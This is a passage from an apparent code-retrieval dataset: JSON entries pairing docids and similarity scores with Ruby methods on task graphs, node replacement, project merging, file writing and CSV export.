svc_instance.extra['finished'], svc_instance.archived_at, source.id)\n # 1) Updating Task\n task.update(values)\n\n # 2) Saving to updated records (will be published in Kafka)\n # - see topological_inventory-persister:Workflow.send_task_updates_to_queue!\n tasks_collection.updated_records << values.merge(:id => task.id, :forwardable_headers => task.forwardable_headers)\n end\n end\n end\n end", "title": "" }, { "docid": "7f978a8c2800b7f398b582413b551592", "score": "0.4546968", "text": "def absorb other\n # Steal references\n if other.respond_to? :references\n other.references.each { |other_ref|\n other_ref.site = self\n other_ref.canonical = false\n other_ref.save\n }\n end\n super if defined? super\n end", "title": "" }, { "docid": "30efec9432e7579f80a8094a8079445b", "score": "0.4535742", "text": "def substitute(new_target, options = {})\n old_target = target\n tap do |relation|\n relation.target = new_target\n if new_target\n bind(options)\n else\n unbind(old_target, options)\n nil\n end\n end\n end", "title": "" }, { "docid": "89c8df001ce7d1bdace88f2347418ceb", "score": "0.45332342", "text": "def find_subs_for_spoofers(dataset2unresponsive_targets, dataset2substitute_targets)\n # should only be probing one per site\n unresponsive_spoofers = dataset2unresponsive_targets[DataSets::SpooferTargets] \n site2chosen_node_ip_tuple = choose_one_spoofer_target_per_site(unresponsive_spoofers)\n update_pl_pl_meta_data(site2chosen_node_ip_tuple)\n\n dataset2substitute_targets[DataSets::SpooferTargets] = site2chosen_node_ip_tuple.values.map { |tuple| tuple[1] }\n end", "title": "" }, { "docid": "30098d6125804122482be6b7c83c32af", "score": "0.4528255", "text": "def unify_plans(operations:)\n plan_associations = operations.map { |op| op.plan_associations.first }\n plan = operations.first.plan\n plan_associations.each do |pa|\n pa.plan = plan\n pa.save\n end\n\n # Needed to refresh plan associations for weird Rails reasons\n Operation.find(operations.map(&:id))\n end", "title": "" }, { "docid": "cea28b3f77ad708ce58650c8226ca5e9", "score": "0.45206314", "text": "def visit(source, target)\n super(source, target) do |src, tgt|\n merge(src, tgt)\n block_given? ? yield(src, tgt) : tgt\n end\n end", "title": "" }, { "docid": "6f2b18155dfa8834468705dd09c445cd", "score": "0.45169508", "text": "def replace_node(target_node, node_type, *args, &block)\n manipulate_node(:replace, target_node, node_type, *args, &block)\n end", "title": "" }, { "docid": "e8509b9ebd890960e8f832601aac7945", "score": "0.45166978", "text": "def copy_object_relations(object, proxy, proxy_map)\n # Create edges between the neighbours that are really in the transaction\n object.each_relation do |rel|\n plan_graph = object.relation_graph_for(rel)\n trsc_graph = proxy.relation_graph_for(rel)\n\n plan_graph.each_in_neighbour(object) do |parent|\n if (parent_proxy = proxy_map[parent])\n trsc_graph.add_edge(\n parent_proxy, proxy,\n plan_graph.edge_info(parent, object)\n )\n end\n end\n plan_graph.each_out_neighbour(object) do |child|\n if (child_proxy = proxy_map[child])\n trsc_graph.add_edge(\n proxy, child_proxy,\n plan_graph.edge_info(object, child)\n )\n end\n end\n end\n end", "title": "" }, { "docid": "221a7060e77b31730971d9f53f73199f", "score": "0.45130077", "text": "def set(source, target)\n assert_kind_of 'source', source, source_model\n assert_kind_of 'target', target, target_model, Hash, NilClass\n\n relationship.set(source, [ target ].compact).first\n end", "title": "" }, { "docid": "b9a59e1332594d92b4878c59ab7aee22", "score": "0.4510306", "text": "def build_meta_graph_tasks(subtasks) #:nodoc:\n\n by_id = subtasks.index_by(&:id)\n\n new_subtasks = [] # declared early so it can be used in method's rescue clause\n fully_processed_tids = {} # PsomSubtask IDs only\n num_serializers_par = 0 # number of CbSerializers under control of Parallelizers\n parallel_group_size = (self.tool_config && self.tool_config.ncpus && self.tool_config.ncpus > 1) ? self.tool_config.ncpus : 2\n\n current_cut = subtasks.select { |t| t.params[:psom_graph_keywords] =~ /Initial/ } # [t-1,t-2,t-3,t-4,t-5,t-6]\n\n # The cut progresses through the graph width-first,\n # starting at the inputs. Each cut is implemented by a set\n # of Parallelizer task plus some leftover CbSerial or individual\n # PsomTask. There are no prerequisites added to any of the\n # new tasks in this meta graph, as the ones from the PsomSubtask\n # are enough to enusre proper meta task ordering.\n while current_cut.size > 0\n\n # Extend the current cut to an array of single tasks plus Serializers for groups of serial tasks\n serialized_cut = current_cut.map do |task|\n sertask = self.serialize_task_at(task, by_id, fully_processed_tids) # [ S(t-1,t-2,t-3), t-4, S(t-5,t-6) ]\n num_serializers_par += 1 if sertask.is_a?(CbrainTask::CbSerializer) # may be adjusted by -1 below\n sertask\n end\n\n # Create the parallelizers, and/or non-parallelized tasks too.\n triplet = CbrainTask::Parallelizer.create_from_task_list( serialized_cut,\n :group_size => parallel_group_size,\n # :subtask_start_state => \"Standby\",\n # :parallelizer_start_state => \"Standby\",\n :parallelizer_level => 0\n ) do |paral, paral_subtasks|\n psom_idx = paral_subtasks.map { |t| t.is_a?(CbrainTask::PsomSubtask) ? (t.params[:psom_ordered_idx]+1).to_s : t.description }\n paral.description = psom_idx.join(\" | \")\n paral.share_wd_tid = self.id # use the same workdir as the rest of the pipeline\n paral_subtasks.each do |t|\n #paral.rank = t.rank if t.rank >= paral.rank\n paral.rank = 0 # it looks better when they are all at the top of th batch\n paral.level = t.level if t.level >= paral.level\n end\n paral.save!\n end\n\n # messages = triplet[0] # ignored\n parallelizer_list = triplet[1] # 0, 1 or many, each a P(S(),S(),t-n,S(),...)\n normal_list = triplet[2] # 0, 1 or many, each a t-n or a S(t-n,t-n,...)\n\n new_subtasks += parallelizer_list\n new_subtasks += normal_list\n normal_list.each { |t| num_serializers_par -= 1 if t.is_a?(CbrainTask::CbSerializer) } # there are not parallelized\n\n # Unblock all the serializers in the non-parallelized list\n normal_list.each do |task|\n next unless task.is_a?(CbrainTask::CbSerializer)\n task.status = 'New'\n task.save!\n end\n\n # Flatten current cut and mark all its tasks as processed\n psom_flat_list = serialized_cut.inject([]) do |flat,task|\n flat << task if task.is_a?(CbrainTask::PsomSubtask)\n flat += task.enabled_subtasks if task.is_a?(CbrainTask::CbSerializer)\n flat\n end\n current_flat_ids = psom_flat_list.index_by(&:id)\n psom_flat_list.each { |task| fully_processed_tids[task.id] = true }\n\n # Compute next cut\n next_cut_tasks_by_id = {}\n psom_flat_list.each do |task|\n task.params[:psom_successor_tids].each do |succ_id|\n next if current_flat_ids[succ_id.to_i]\n succ = by_id[succ_id.to_i]\n succ_prec_ids = succ.params[:psom_predecessor_tids]\n next unless succ_prec_ids.all? { |tid| fully_processed_tids[tid.to_i] }\n next_cut_tasks_by_id[succ_id] ||= by_id[succ_id]\n end\n end\n current_cut = next_cut_tasks_by_id.values\n\n end\n\n return [ new_subtasks, num_serializers_par ]\n\n rescue => ex\n new_subtasks.each { |t| t.destroy rescue true }\n raise ex\n end", "title": "" }, { "docid": "9a49b13d8296452fcf32196badeee14a", "score": "0.4508029", "text": "def overwrite!(source, target)\n if source.class != target.class \n raise \"Attempting to overwrite-combine different kinds of objects - \" +\n \"#{source.class} != #{target.class}\"\n end\n \n case source\n when ZergXcode::XcodeObject\n overwrite! source._attr_hash, target._attr_hash\n when Hash\n target.clear\n target.merge! source\n when Enumerable\n target.clear\n source.each { |value| target << value } \n end\n end", "title": "" }, { "docid": "53db79b3da5bafaedb7f08d2caba7bf4", "score": "0.45012745", "text": "def replacements\n nodes.reject { |node| method_order_correct?(node) }.each_with_object({}) do |node, obj|\n node_to_replace = nodes[expected_method_index(node)]\n\n obj[node] = {\n node => node_to_replace,\n node_to_replace => nodes[expected_method_index(node_to_replace)]\n }\n end\n end", "title": "" }, { "docid": "a3e7b28fbd59d2adff375afd13986b76", "score": "0.4491347", "text": "def transform!(other)\n end", "title": "" }, { "docid": "4e2b865ca7e98c6e52684fdbd2d37800", "score": "0.44903237", "text": "def update_relation(plan, m_from, op, m_to, m_rel, m_info = nil)\n if plan\n Roby::Distributed.update(peer.local_object(plan)) { update_relation(nil, m_from, op, m_to, m_rel, m_info) }\n else\n from, to = \n peer.local_object(m_from, false), \n peer.local_object(m_to, false)\n\n if !from\n return unless to && (to.self_owned? || to.subscribed?)\n from = peer.local_object(m_from)\n elsif !to\n return unless from && (from.self_owned? || from.subscribed?)\n to = peer.local_object(m_to)\n end\n\n rel = peer.local_object(m_rel)\n Roby::Distributed.update_all([from.root_object, to.root_object]) do\n if op == :add_child_object\n from.add_child_object(to, rel, peer.local_object(m_info))\n elsif op == :remove_child_object\n from.remove_child_object(to, rel)\n end\n end\n end\n nil\n end", "title": "" }, { "docid": "e8d9c6f99060f2efcb78ff30ea22a970", "score": "0.44887847", "text": "def post_process! nodes, edges\n # 'and' coordination\n edges.reject! { |e| e[:text] == 'and' }\n\n # 'have A as B' pattern\n edges_have_as = edges.find_all { |e| e[:text] == 'have as' }\n unless edges_have_as.empty?\n pairs_have_as = edges_have_as.group_by { |e| e[:object] }\n pairs_have_as.each do |obj, pair|\n edge_have = edges.find do |e|\n e[:text] == 'have' &&\n ((e[:subject] == pair.first[:subject] && e[:object] == pair.last[:subject]) || (e[:subject] == pair.last[:subject] && e[:object] == pair.first[:subject]))\n end\n if edge_have\n edge_have[:text] = nodes[obj.to_sym][:text]\n nodes.delete(obj.to_sym)\n end\n end\n edges.reject! { |e| e[:text] == 'have as' }\n end\n\n # 'have A and B as C' pattern\n edges_have_and_as = edges.find_all { |e| e[:text] == 'have and as' }\n edges_have_and_as.each do |edge_have_and_as|\n edges_and_as = edges.find_all { |e| e[:text] == 'and as' && e[:object] == edge_have_and_as[:object] }\n edges_have_and = edges_and_as.map { |edge_and_as| edges.find { |e| e[:text] == 'have and' && e[:object] == edge_and_as[:subject] } }\n edges_have_and.each { |e| e[:text] = nodes[edge_have_and_as[:object].to_sym][:text] }\n nodes.delete(edge_have_and_as[:object].to_sym)\n end\n edges.reject! { |e| e[:text] == 'have and as' }\n edges.reject! { |e| e[:text] == 'and as' }\n end", "title": "" }, { "docid": "94d4cc120f3c4ab334d0d671897f95a6", "score": "0.44878888", "text": "def rebindNodesById(town)\n @fromNode = ensureNode(@fromNode, town) ;\n @toNode = ensureNode(@toNode, town) ;\n end", "title": "" }, { "docid": "074471fc3381e18a30824d2b2195dac3", "score": "0.44837922", "text": "def replaced(replaced_task, replacing_task)\n # Make the PlanService object follow the replacement\n if services = plan_services.delete(replaced_task)\n services.each do |srv|\n srv.task = replacing_task\n (plan_services[replacing_task] ||= ValueSet.new) << srv\n end\n end\n super if defined? super\n end", "title": "" }, { "docid": "8b90bb1ba3912cab5a004df100a89a3e", "score": "0.44829294", "text": "def process_tasks\n @tasks.each_value do |task|\n task.options[:ancestors] = []\n set_ancestor_tasks(task)\n set_alternative_tasks(task) if @permissions.key? task.name\n end\n end", "title": "" }, { "docid": "8f3074931707cd8bf64ca17304d2ed88", "score": "0.4480796", "text": "def copy_to_target_envs(source_metric)\n target_envs = @visitor.environments.select { |env| env.short_name != @source_env_short_name }\n\n @visitor.visit(target_envs) do |tgt_env|\n logging_client = Google::Cloud::Logging.new({project: tgt_env.project_id})\n if exists?(source_metric.name, logging_client)\n @logger.warn(\"Skipping target env #{tgt_env.short_name} as #{source_metric.name} is already there.\")\n next\n else\n # TODO(jaycarlton): Set namespace equal to project short name in the filter\n @logger.info(\"Making copy of #{source_metric.name} in #{tgt_env.short_name} env\")\n copied_metric = logging_client.create_metric(source_metric.name, source_metric.filter, {description: source_metric.description})\n @logger.info(\"Created new metric in #{tgt_env.short_name}:\\n#{metric_to_str(copied_metric)}\")\n end\n end\n end", "title": "" }, { "docid": "4998b215abaaf1b6b197d71b34cfcf3d", "score": "0.44763097", "text": "def replace_aliases\n return self if aliases.empty?\n build(ast.replace_tags(aliases))\n end", "title": "" }, { "docid": "887322ef04bee180d287a33b84171e4d", "score": "0.44726384", "text": "def update2\n update_node_properties\n logger.info \"update2 started (full update)\"\n tsb = Time.now\n source_nodes = source_node_properties.keys\n destination_nodes = destination.all_nodes\n delete_missing(destination_nodes, source_nodes)\n errors = false\n complete = source.facts\n complete.each do |node, facts|\n begin\n destination.node_update(node, facts)\n rescue\n errors = true\n logger.error $!\n end\n end\n tse = Time.now\n logger.info \"update2 updated #{source_nodes.size} nodes in #{tse - tsb}\"\n destination.meta_fact_update(\"update2\", tsb, tse) unless errors\n end", "title": "" }, { "docid": "60c46964bf0c350b0ecd9b181d509b36", "score": "0.44702026", "text": "def import_project!(source, target)\n old_target_paths = target.all_files.map { |file| file[:path] } \n \n # duplicate the source, because the duplicate's object graph will be warped\n scrap_source = ZergXcode::XcodeObject.from source\n \n mappings = cross_reference scrap_source, target\n bins = bin_mappings mappings, scrap_source\n \n # special case for merging targets\n map! scrap_source, mappings\n merge! scrap_source['targets'], target['targets']\n \n # merge the object graphs\n bins[:merge].each do |object|\n map! object, mappings\n merge! object, mappings[object]\n end\n bins[:overwrite].each do |object|\n map! object, mappings\n overwrite! object, mappings[object]\n end\n \n # make sure all the mappings point in the right place \n target.visit_once do |object, parent, key, value|\n if mappings[value]\n next mappings[value]\n else\n next true\n end\n end\n \n new_target_paths = target.all_files.map { |file| file[:path] }\n source_paths = source.all_files.map { |file| file[:path] }\n return compute_deletes(target.root_path, old_target_paths,\n new_target_paths) +\n compute_copies(source.root_path, source_paths, target.root_path)\n end", "title": "" }, { "docid": "f172d464de3ef28247df2ae9cd0c62bd", "score": "0.4467392", "text": "def copy_fields_to(target, *fields, overwrite_nil_only: false, ignore_nil_source: true)\n fields.each do |field|\n if not overwrite_nil_only or target[field].nil?\n val = self[field]\n unless val.nil? and ignore_nil_source\n target[field] = if val.is_a?(Hash) or val.is_a?(Array)\n reset_ids(val)\n else\n val\n end\n end\n end\n end\n end", "title": "" }, { "docid": "adaab4ccc034f3fb512f9dfbed3165c1", "score": "0.4465754", "text": "def expand_paths!\n @targets = @targets.reduce({}) do |result, (target, target_params)|\n sources = target_params[:sources].map do |source|\n source = expand_path(source) if @build_root\n expand_varref(source)\n end\n target = expand_path(target) if @build_root\n target = expand_varref(target)\n result[target] = target_params.merge(sources: sources)\n result\n end\n end", "title": "" }, { "docid": "36646f368056f40eed6a747427318cd3", "score": "0.4462995", "text": "def replace_reference!(old_quizzable, new_quizzable, answer_map = {})\n return self unless old_quizzable.class == new_quizzable.class\n affected_vertices = referencing_vertices(old_quizzable)\n affected_vertices.each { |v| @vertices[v][:id] = new_quizzable.id }\n return self unless new_quizzable.class.to_s == 'Question'\n affected_vertices.each do |v|\n bend_edges_rereferencing!(edges_from(v), answer_map)\n bend_hide_solution_rereferencing!(v, answer_map)\n end\n self\n end", "title": "" } ]
c546236290f5db811ee0ed549ff7b0c0
Given an item this will create the output file in the right output location.
[ { "docid": "91272dfc753e211b7cdb6c9f39102722", "score": "0.0", "text": "def create(item)\n raise 'This is a generic target. Please use a subclass.'\n end", "title": "" } ]
[ { "docid": "6bf28b443b9f41fd4b1df680798d3328", "score": "0.7482814", "text": "def write_to_file(item=nil,file_name=nil,directory_name=nil)\n\n\t\tif item == nil\n\t\t\titem = @item\n\t\tend\n\t\tif file_name == nil\n\t\t\tfile_name = @file_name\n\t\tend\t\n\t\tif directory_name == nil\n\t\t\tdirectory_name = @directory_name\n\t\tend\t\t\t\t\n\t\t\n\t\tbegin\n\t\t\tDir::mkdir(directory_name)\n\t\trescue Exception=> e\n\t\tend\n\t\t\n\t\t\n\t\tputs directory_name+\"/\"+file_name\n\t\tfile = File.open(directory_name+\"/\"+file_name,\"w\")\n\t\txml = construct_xml(item)\n\t\tputs xml\n\t\tfile.write(xml)\t\t\n\t\tfile.close\n\tend", "title": "" }, { "docid": "19dc3d36d7d9d6d84e8b0c1bbc558fa2", "score": "0.6995047", "text": "def export(item)\n @file.write(\"#{item.to_xml}\\n\")\n end", "title": "" }, { "docid": "350de703b87b501cc1b73e3682ea0e10", "score": "0.6210948", "text": "def create_safety_writer_item\n if file = @options.fetch( :output_file, nil)\n FileUtils.mkdir_p File.dirname( file ), :verbose => false\n writer = Simp::Cli::Config::Item::AnswersYAMLFileWriter.new\n file = File.join( File.dirname( file ), \".#{File.basename( file )}\" )\n writer.file = file\n writer.allow_user_apply = true\n writer.silent = true if @options.fetch(:verbose, 0) < 2\n writer\n end\n end", "title": "" }, { "docid": "6f0b9f4006ce524a8b735a164e85c8da", "score": "0.62022805", "text": "def create_output_file\n File.open(\"#{@output_file}\", \"a+\") do |f|\n f.puts @output\n end\n end", "title": "" }, { "docid": "8e55bf8f20b7795305588ca4f2f89614", "score": "0.61680526", "text": "def link_output_item(operation:, sample:, item:)\n fv = FieldValue.new(\n name: TEMPLATE,\n child_item_id: item.id,\n child_sample_id: sample.id,\n role: 'output',\n parent_class: 'Operation',\n parent_id: operation.id,\n field_type_id: operation.output(TEMPLATE).field_type.id\n )\n fv.save\n end", "title": "" }, { "docid": "8e55bf8f20b7795305588ca4f2f89614", "score": "0.61680526", "text": "def link_output_item(operation:, sample:, item:)\n fv = FieldValue.new(\n name: TEMPLATE,\n child_item_id: item.id,\n child_sample_id: sample.id,\n role: 'output',\n parent_class: 'Operation',\n parent_id: operation.id,\n field_type_id: operation.output(TEMPLATE).field_type.id\n )\n fv.save\n end", "title": "" }, { "docid": "12da8f82a5a58b00deb6c3f408e8f5bc", "score": "0.6163822", "text": "def new_output_file(filename = 'foo')\n File.new( File.expand_path(File.join(export_path, filename)), 'w+')\n end", "title": "" }, { "docid": "5727994e5f9f31bf8f22966d8081ac9c", "score": "0.61181045", "text": "def export_item(item, path, cluster_name)\n @dialog.logMessage(\"Exporting #{path}\") if VERBOSE\n begin\n @exporter.exportItem(item, path)\n rescue StandardError => e\n message = e.message.to_s\n @dialog.logMessage(message)\n @failures[item.get_guid] = message\n path = 'ERROR'\n end\n # Write record to CSV\n @csv << report_csv_record(item, cluster_name, path)\n end", "title": "" }, { "docid": "869889aab38fb89da1bf57812b5c8023", "score": "0.6108352", "text": "def link_output_item(operation:, sample:, item:)\n fv = FieldValue.new(\n name: \"Template\",\n child_item_id: item.id,\n child_sample_id: sample.id,\n role: \"output\",\n parent_class: \"Operation\",\n parent_id: operation.id,\n field_type_id: operation.output(\"Template\").field_type.id\n )\n fv.save\n end", "title": "" }, { "docid": "e2046049bbe065fc0239ad38e06d0b6b", "score": "0.6102913", "text": "def output_item(name, opts = {})\n item name, 'output', opts\n end", "title": "" }, { "docid": "904b708672da5f5a652600e392d41f86", "score": "0.60493565", "text": "def create_output_file output\n File.open(OUTPUT_FILE, \"a+\") do |file|\n file.puts output\n file.puts \"\\n\"\n end\n end", "title": "" }, { "docid": "2729a6b4accb2cb300026d78ba573980", "score": "0.6006294", "text": "def save_as(item)\n window.file_save_as\n end", "title": "" }, { "docid": "ae4b9aee22cecdd57f02e7e74bd630f2", "score": "0.5976716", "text": "def write!\n FileUtils.mkdir_p(@output_dir)\n File.write(@output_file, contents)\n end", "title": "" }, { "docid": "8aeb92b177a9cfe094220b1e375e0a13", "score": "0.59373516", "text": "def print_to_file()\n report_file = File.open(\"#{@title}.txt\", \"w+\")\n @items.each_index do |index|\n report_file.puts \"#{index} - [#{items[index].priority}]\" + \"#{items[index].description}\".ljust(20) + \"Completed: #{@items[index].completion_status}\"\n end\n report_file.close\n end", "title": "" }, { "docid": "527ba232bc73c8651cef972ea93ff392", "score": "0.59351957", "text": "def write_to_file\n column1 = \"No.\"\n\tcolumn2 = \"Description\"\n\tcolumn3 = \"Due\"\n\tcolumn4 = \"Completed\"\n\n\tnew_file = File.open(\"#{format_filename(@title)}.txt\", \"w\")\n\n\twrite_title(new_file)\n\twrite_column_headers(new_file)\n\n\tcount = 0\n @items.each do |item|\n count += 1\n item.write(count, new_file)\n end\n\n\tnew_file.close\n end", "title": "" }, { "docid": "65cf3332770dfc1715ee6c5e44e8cd98", "score": "0.593151", "text": "def enumbered_add_to_directory(item)\n $log.info \"Renamed #{Pathstring.new(item).basename} to xxxx\"\n end", "title": "" }, { "docid": "bc6294aadf33146c1de338fb2ad0d5da", "score": "0.59288824", "text": "def generate_download_file( order_item )\n\t\tuser = User.find_by_id( order_item.user_id )\n\t\tbundle = Bundle.find_by_id( order_item.bundle_id )\n\n\t\tecuparser = EcuParser.new(user.ecudata)\n\n\t\tsw_version = ecuparser.version\n\t\tsw_version_minor = sw_version[0..5]+'00'\n\t\tsw_version_major = sw_version[0..5]+'99'\n\n\t\tserial_nr = ecuparser.serialnr\n\n\t\ttarget_dir = \"public/download/#{order_item.url}\"\n\t\ttarget_file = \"#{target_dir}/uconnect.upd\"\n \n\t\tgen_script_dir = 'lib/bundles/build_'+bundle.title.gsub(/\\s/, \"_\" ).downcase\n\t\tgen_script = 'build_main.sh'\n\n\n\t\tbash_cmd = \t\"mkdir #{target_dir}; \" \n\t\tbash_cmd << \"cd #{gen_script_dir}; \"\n\t\tbash_cmd << \"./#{gen_script} #{sw_version_minor} #{sw_version_major} #{serial_nr}; \"\n\t\tbash_cmd << \"./sign_archive.sh; \"\n\t\t# bash_cmd << \"mv command.tar ../../../#{target_file}\" \n\n \n\t\t# create temporary file\n\t\t# `mkdir #{target_dir}` \n\t\t# `echo \"#{ecuparser.version}\" > public/download/#{order_item.url}/uconnect.upd` \n\n\t\tlogger.info(bash_cmd)\n\t\t# `#{bash}`\n\t\tpipe= IO.popen(\"/bin/bash\", 'w+') \n pipe << bash_cmd \n pipe.close_write\n result=pipe.read\n\n\t\tlogger.info(result)\n\t\tcp( gen_script_dir+\"/command.tar\", target_file )\n\tend", "title": "" }, { "docid": "8115f63f9c9fafd8a280955be0a65c2c", "score": "0.5885325", "text": "def write\n FileUtils.mkdir_p File.dirname(destination_path)\n File.open(destination_path, 'w') { |f| f.write(sitemap_content) }\n end", "title": "" }, { "docid": "3454ceb53e38d3d385f8663057d7b217", "score": "0.5878713", "text": "def push_item(item)\n enable_write\n abs_path = full_path(item.path)\n parent_id = get_parent_id(abs_path)\n id = insert_file(item, parent_id)\n disable_write\n id\n end", "title": "" }, { "docid": "15b32eea1b720fb5cf3a99d6e43cba28", "score": "0.5861642", "text": "def file_for_item(item)\n File.join(@data_dir, \"#{item}.gwtf\")\n end", "title": "" }, { "docid": "59f54f3a1b24c3046fafc6d5f76cfaf3", "score": "0.57511455", "text": "def output_path\n File.join @write_path, output_filename\n end", "title": "" }, { "docid": "719de2a15cce405d669d92489f917c31", "score": "0.57469076", "text": "def create_file\n File.open(\"./#{@output_file}\", \"w\") { |f| f.puts(@contents) }\n FileUtils.chmod 0755, \"./#{@output_file}\"\n end", "title": "" }, { "docid": "29dd36cfb0f12f9088daec329e23caf6", "score": "0.57050884", "text": "def write_items\r\n File.open(\"PBS/items.txt\", \"wb\") { |f|\r\n add_PBS_header_to_file(f)\r\n current_pocket = 0\r\n GameData::Item.each do |i|\r\n if current_pocket != i.pocket\r\n current_pocket = i.pocket\r\n f.write(\"\\#-------------------------------\\r\\n\")\r\n end\r\n move_name = (i.move) ? GameData::Move.get(i.move).id.to_s : \"\"\r\n sprintf_text = \"%d,%s,%s,%s,%d,%d,%s,%d,%d,%d\\r\\n\"\r\n sprintf_text = \"%d,%s,%s,%s,%d,%d,%s,%d,%d,%d,%s\\r\\n\" if move_name != \"\"\r\n f.write(sprintf(sprintf_text,\r\n i.id_number,\r\n csvQuote(i.id.to_s),\r\n csvQuote(i.real_name),\r\n csvQuote(i.real_name_plural),\r\n i.pocket,\r\n i.price,\r\n csvQuoteAlways(i.real_description),\r\n i.field_use,\r\n i.battle_use,\r\n i.type,\r\n csvQuote(move_name)\r\n ))\r\n end\r\n }\r\n Graphics.update\r\n end", "title": "" }, { "docid": "a0463ec37970a3832be3f8f7354cfaa0", "score": "0.5694491", "text": "def export!(data_bag, item_name, item)\n item.encryption_format = export_format\n data = item.to_hash(encrypt: true)\n\n if export_root.nil?\n ui.fatal('Export root is not defined')\n show_usage\n exit 1\n end\n\n export_file_path = export_path(data_bag, item_name)\n unless ::File.directory?(::File.dirname(export_file_path))\n ui.fatal(\"Export directory does not exist: #{export_file_path}\")\n show_usage\n exit 1\n end\n\n ::File.open(export_file_path, 'w') do |f|\n f.write(Chef::JSONCompat.to_json_pretty(data))\n end\n\n display_path = export_file_path.sub(%r{/^#{export_root}/}, '')\n stdout.puts(\"Exported to #{display_path}\")\n end", "title": "" }, { "docid": "e307738d7cf6821d0543f50960979c79", "score": "0.5690567", "text": "def print_to_file\n @print_to_file = File.new(\"To_Do_List.txt\", \"w+\")\n @print_to_file.puts \"Items on final To Do List:\\r\\n \\r\\n\"\n @print_to_file.puts @items\n end", "title": "" }, { "docid": "81f9a6927c93f28c800490a02028be58", "score": "0.5676376", "text": "def outfile= f\n io = f.kind_of?(IO) ? f : File.new(f, \"w\")\n @writer.output = io\n end", "title": "" }, { "docid": "2bba36c39ee84108af85169bf6efcaa8", "score": "0.5674102", "text": "def write_file(out_file, output)\n File.open(out_file, 'w') { |f| output.each { |l| f.write(\"#{l}\\n\") } }\n end", "title": "" }, { "docid": "14943b18efaf634d97e2dfc9fa93d796", "score": "0.5648838", "text": "def output\n File.open @path, \"a\" do |f|\n yield f\n end\n end", "title": "" }, { "docid": "6f2676c4ba9e77bf25bdecae3739aa93", "score": "0.5647338", "text": "def writeItem(app, repo_url, item)\n headers = defaultHeaders(app[\"token\"])\n data = item.to_json\n response = HTTParty.post(repo_url,\n headers: headers,\n body: data)\n response\n end", "title": "" }, { "docid": "ddd3a3a62e48bf3fb308c4f5752da0d8", "score": "0.56468576", "text": "def output_to_file filename, output\n result_file = File.open(filename, \"w+\")\n result_file.write(\"##########BEGIN result##########\\n\")\n result_file.write(\"#{output}\\n\")\n result_file.write(\"##########END result##########\\n\")\nend", "title": "" }, { "docid": "4ffd63176c24ba0538990307419e783a", "score": "0.5645001", "text": "def link_output_item(operation:, sample:, item:)\n fv = FieldValue.new(\n name: PRIMER_MIX,\n child_item_id: item.id,\n child_sample_id: sample.id,\n role: 'output',\n parent_class: 'Operation',\n parent_id: operation.id,\n field_type_id: operation.output(PRIMER_MIX).field_type.id\n )\n fv.save\n end", "title": "" }, { "docid": "5a156873a2db7def2627e15460729f89", "score": "0.56446767", "text": "def save(item)\n window.file_save\n end", "title": "" }, { "docid": "a37c92bff4c8551d5481254b5cc63f93", "score": "0.5640997", "text": "def write(key, value)\n item_path = generate_path(key)\n FileUtils.mkdir_p(File.dirname(item_path))\n File.open(item_path, 'w+') {|f| f.write(value) }\n item_path\n end", "title": "" }, { "docid": "fb6b58f5375b34ea4501233ad68c9fd9", "score": "0.5612705", "text": "def file_out\n @_file_out ||= File.join(config_data.tmp_dir, @renderer + \"-\" + \"out\" + \"-\" + random)\n end", "title": "" }, { "docid": "78ad79d7760a0c919b0f80b0c07d7d46", "score": "0.56119883", "text": "def create_safety_writer_item\n if file = @options[:safety_save_file]\n FileUtils.mkdir_p File.dirname( file ), :verbose => false\n writer = Simp::Cli::Config::Item::AnswersYAMLFileWriter.new(@options[:puppet_env_info])\n writer.file = file\n writer.allow_user_apply = true\n writer.defer_apply = false # make sure we apply immediately\n writer.silent = true if @options[:verbose] < 3 # silent unless dev trace\n writer.start_time = @options[:start_time]\n # don't sort the output so we figure out the last item answered\n writer.sort_output = false\n writer\n end\n end", "title": "" }, { "docid": "7820649550fa57590eafbe749eea58f2", "score": "0.5609454", "text": "def generate_csv\n CSV.open(\"outputs/#{@path}\", 'w') do |csv|\n csv << ['###########']\n csv << [\"# Output #{@path}\"]\n csv << ['###########']\n @order.items.each do |item|\n csv << [item[:quantity], ' ' + item[:product].name, ' ' + item[:product].taxed_price.to_s]\n end\n csv << []\n csv << [\"Sales Taxes: #{sprintf('%0.02f', @order.sales_taxes)}\"]\n csv << [\"Total: #{sprintf('%0.02f', @order.total)}\"]\n end\n end", "title": "" }, { "docid": "35a4c5ce43c62f37bc1778839c5cd38c", "score": "0.56055284", "text": "def write_file\n # Execute if the full file path exists (indicating a new File object)\n if @file_path\n name = self.filename\n test_dir = File.join(MarkusConfigurator.markus_ate_client_dir, assignment.short_identifier)\n\n # Folders for test, lib and parse files:\n # Test Files Folder\n if self.filetype == 'test'\n test_dir = File.join(test_dir, 'test')\n # Lib Files Folder\n elsif self.filetype == 'lib'\n test_dir = File.join(test_dir, 'lib')\n # Parser Files Folder\n elsif self.filetype == 'parse'\n test_dir = File.join(test_dir, 'parse')\n end\n\n # Create the file path\n path = File.join(test_dir, name)\n\n # Create the test, lib and parse folders if necessary\n FileUtils.makedirs(test_dir)\n\n # Read and write the file (overwrite if it exists)\n File.open(path, 'w+') { |f| f.write(@file_path.read) }\n end\n end", "title": "" }, { "docid": "0693b18db2e5bfa291e6172669cd48dc", "score": "0.56017417", "text": "def write_output(item)\n if item.is_a? String\n if item[1] == 'x'\n @last_output = item.to_i(16)\n else\n @last_output = item.ord\n end\n else\n @last_output = item\n end\n @output << item.to_s\n end", "title": "" }, { "docid": "ef1d6be53977af91b79367439e999088", "score": "0.55994254", "text": "def write_file(content, title, directory, file_name)\n content.sub!(\"title:\", \"title: \\\"#{title}\\\"\")\n content.sub!(\"date:\", \"date: #{POST_TIME}\")\n content.sub!(\"permalink:\", \"permalink: \\\"/#{transform_to_slug(title)}/\\\"\")\n\n File.write(\"#{directory}/#{file_name}\", content)\n\n puts \"#{file_name} was created in '#{directory}'.\"\nend", "title": "" }, { "docid": "cd23a4529dcadad9681321f70d091a27", "score": "0.5591947", "text": "def print_file\n new_file = File.new(\"todolist.txt\", \"w+\")\n new_file.puts \"-\" * 30\n new_file.puts \"#{@title.upcase}\"\n new_file.puts\"-\" * 30\n new_file.puts \"TO DOs\".ljust(45) + \"Completed?\".ljust(15) + \"Priority\"\n @items.each_with_index do |task, index|\n new_file.write(\"#{index + 1} - \" + \"#{task.print_task}\\n\")\n end\n new_file.close\n end", "title": "" }, { "docid": "8f1a8a171d1399527c73873bd4246fab", "score": "0.55686116", "text": "def write_to_csv\n CSV.open(@name, \"a+\") do |csv|\n @items_list.each do |product|\n csv << [product[\"n/w\"], product[\"price\"], product[\"img\"]]\n end\n end\n puts \"Data writed to 